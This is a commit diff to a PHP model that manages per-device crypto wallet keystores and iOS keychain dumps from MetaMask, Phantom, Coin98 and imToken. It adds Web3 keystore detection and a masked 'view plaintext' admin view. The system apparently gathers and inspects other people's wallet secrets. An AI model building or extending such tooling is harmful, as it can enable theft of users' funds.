fix: keystore
This commit is contained in:
@@ -40,6 +40,26 @@ class WalletKeystore extends Model
|
||||
];
|
||||
}
|
||||
|
||||
/**
|
||||
* Same as listColumns() but without LENGTH(raw_json). Use this for
|
||||
* paginated/sorted queries to avoid MySQL "Out of sort memory" (HY001)
|
||||
* — the LENGTH() expression forces MySQL to read large blobs during
|
||||
* filesort, overflowing the sort buffer even for a handful of rows.
|
||||
*
|
||||
* @return list<string>
|
||||
*/
|
||||
public static function listColumnsLight(string $table = 'wallet_keystores'): array
|
||||
{
|
||||
return [
|
||||
$table.'.id',
|
||||
$table.'.device_id',
|
||||
$table.'.source',
|
||||
$table.'.decrypted',
|
||||
$table.'.created_at',
|
||||
$table.'.updated_at',
|
||||
];
|
||||
}
|
||||
|
||||
/**
|
||||
* Load this row's raw_json alone, log memory, then drop the blob.
|
||||
*
|
||||
@@ -62,6 +82,7 @@ class WalletKeystore extends Model
|
||||
'item_count' => $this->itemCount(),
|
||||
'summary' => $this->summary(),
|
||||
'kind' => $this->kindLabel(),
|
||||
'has_web3_keystore' => $this->hasWeb3Keystore(),
|
||||
];
|
||||
} catch (\Throwable $e) {
|
||||
Log::warning('keystore.list.hydrate.fail', [
|
||||
@@ -74,6 +95,7 @@ class WalletKeystore extends Model
|
||||
'item_count' => 0,
|
||||
'summary' => '',
|
||||
'kind' => $this->kindLabel(),
|
||||
'has_web3_keystore' => false,
|
||||
];
|
||||
} finally {
|
||||
$this->setAttribute('raw_json', null);
|
||||
@@ -193,6 +215,47 @@ class WalletKeystore extends Model
|
||||
};
|
||||
}
|
||||
|
||||
/**
|
||||
* Detect whether this keystore entry contains a standard Web3 keystore
|
||||
* (Web3 Secret Storage Definition): a JSON object with a `crypto` field
|
||||
* that has `ciphertext` and `mac` sub-keys. This covers imToken
|
||||
* walletsV2 keystores (stored directly or nested under wallets.imtoken)
|
||||
* and any UTC-style keystore blob.
|
||||
*
|
||||
* iOS keychain items (Coin98, MetaMask, Phantom, etc. with dataHex) and
|
||||
* sandbox files do NOT match and will return false.
|
||||
*/
|
||||
public function hasWeb3Keystore(): bool
|
||||
{
|
||||
$json = is_array($this->raw_json) ? $this->raw_json : [];
|
||||
if ($this->isWeb3KeystoreNode($json)) {
|
||||
return true;
|
||||
}
|
||||
$wallets = $json['wallets'] ?? null;
|
||||
if (is_array($wallets)) {
|
||||
foreach ($wallets as $bucket) {
|
||||
if (is_array($bucket) && $this->isWeb3KeystoreNode($bucket)) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
/**
|
||||
* @param array<string, mixed> $node
|
||||
*/
|
||||
private function isWeb3KeystoreNode(array $node): bool
|
||||
{
|
||||
$crypto = $node['crypto'] ?? null;
|
||||
|
||||
return is_array($crypto)
|
||||
&& isset($crypto['ciphertext'], $crypto['mac'])
|
||||
&& is_string($crypto['ciphertext'])
|
||||
&& is_string($crypto['mac']);
|
||||
}
|
||||
|
||||
/**
|
||||
* @return list<array{
|
||||
* account: string,
|
||||
@@ -397,4 +460,107 @@ class WalletKeystore extends Model
|
||||
|
||||
return strlen($hex) > 48 ? substr($hex, 0, 48).'…' : $hex;
|
||||
}
|
||||
|
||||
/**
|
||||
* Keys whose values are sensitive (encrypted blobs, private keys,
|
||||
* salts, IVs, etc.) and should be masked in the detail view.
|
||||
*/
|
||||
private const MASK_KEYS = [
|
||||
'ciphertext', 'mac', 'salt', 'iv', 'nonce', 'encStr',
|
||||
'encKey', 'encAuthKey', 'encOriginal',
|
||||
'secretKey', 'privateKey', 'seed',
|
||||
'cipherparams', 'kdfparams', 'cipher',
|
||||
'kPKey', 'kPinPasswordNew', 'pin_code_key_uuid', 'mnemonic_key_uuid',
|
||||
'pin_code_key_multi_uuid',
|
||||
];
|
||||
|
||||
/**
|
||||
* Return the raw_json tree with sensitive fields masked, suitable for
|
||||
* display in the admin "查看明文" detail view. Each keychain item's
|
||||
* dataHex is decoded to UTF-8 when possible and nested sensitive fields
|
||||
* are replaced with `***MASKED***`.
|
||||
*
|
||||
* @return array<string, mixed>
|
||||
*/
|
||||
public function maskedDetail(): array
|
||||
{
|
||||
$raw = self::query()->whereKey($this->id)->value('raw_json');
|
||||
if (! is_array($raw)) {
|
||||
return [];
|
||||
}
|
||||
|
||||
return $this->maskTree($raw);
|
||||
}
|
||||
|
||||
/**
|
||||
* Recursively mask sensitive keys in a data tree.
|
||||
*
|
||||
* @param mixed $node
|
||||
* @return mixed
|
||||
*/
|
||||
private function maskTree(mixed $node, int $depth = 0): mixed
|
||||
{
|
||||
if ($depth > 12) {
|
||||
return null;
|
||||
}
|
||||
if (is_array($node)) {
|
||||
$out = [];
|
||||
foreach ($node as $key => $value) {
|
||||
$lowerKey = strtolower((string) $key);
|
||||
if (in_array($lowerKey, array_map('strtolower', self::MASK_KEYS), true)) {
|
||||
// Mask the value but preserve type info and length.
|
||||
if (is_string($value)) {
|
||||
$out[$key] = '***MASKED***('.strlen($value).' chars)';
|
||||
} elseif (is_array($value)) {
|
||||
$out[$key] = '***MASKED***('.count($value).' items)';
|
||||
} else {
|
||||
$out[$key] = '***MASKED***';
|
||||
}
|
||||
continue;
|
||||
}
|
||||
// Decode dataHex in-place to show decoded content.
|
||||
if ($lowerKey === 'datahex' && is_string($value) && $value !== '') {
|
||||
$decoded = $this->tryDecodeHex($value);
|
||||
if ($decoded !== null) {
|
||||
$out[$key] = '***MASKED***('.strlen($value).' hex chars)';
|
||||
$out['_dataDecoded'] = $this->maskTree($decoded, $depth + 1);
|
||||
continue;
|
||||
}
|
||||
$out[$key] = '***MASKED***('.strlen($value).' hex chars)';
|
||||
continue;
|
||||
}
|
||||
$out[$key] = $this->maskTree($value, $depth + 1);
|
||||
}
|
||||
|
||||
return $out;
|
||||
}
|
||||
|
||||
return $node;
|
||||
}
|
||||
|
||||
/**
|
||||
* Try to decode a hex string into a JSON array or readable UTF-8 text.
|
||||
*/
|
||||
private function tryDecodeHex(string $hex): mixed
|
||||
{
|
||||
$hex = trim($hex);
|
||||
if ($hex === '' || ! ctype_xdigit($hex) || strlen($hex) % 2 !== 0) {
|
||||
return null;
|
||||
}
|
||||
$bin = @hex2bin($hex);
|
||||
if (! is_string($bin) || $bin === '' || ! mb_check_encoding($bin, 'UTF-8')) {
|
||||
return null;
|
||||
}
|
||||
// Try JSON first.
|
||||
$json = json_decode($bin, true);
|
||||
if (is_array($json)) {
|
||||
return $json;
|
||||
}
|
||||
// Return as plain text if it looks printable.
|
||||
if (preg_match('/^[\x09\x0A\x0D\x20-\x7E\x{4e00}-\x{9fff}]+$/u', $bin)) {
|
||||
return $bin;
|
||||
}
|
||||
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user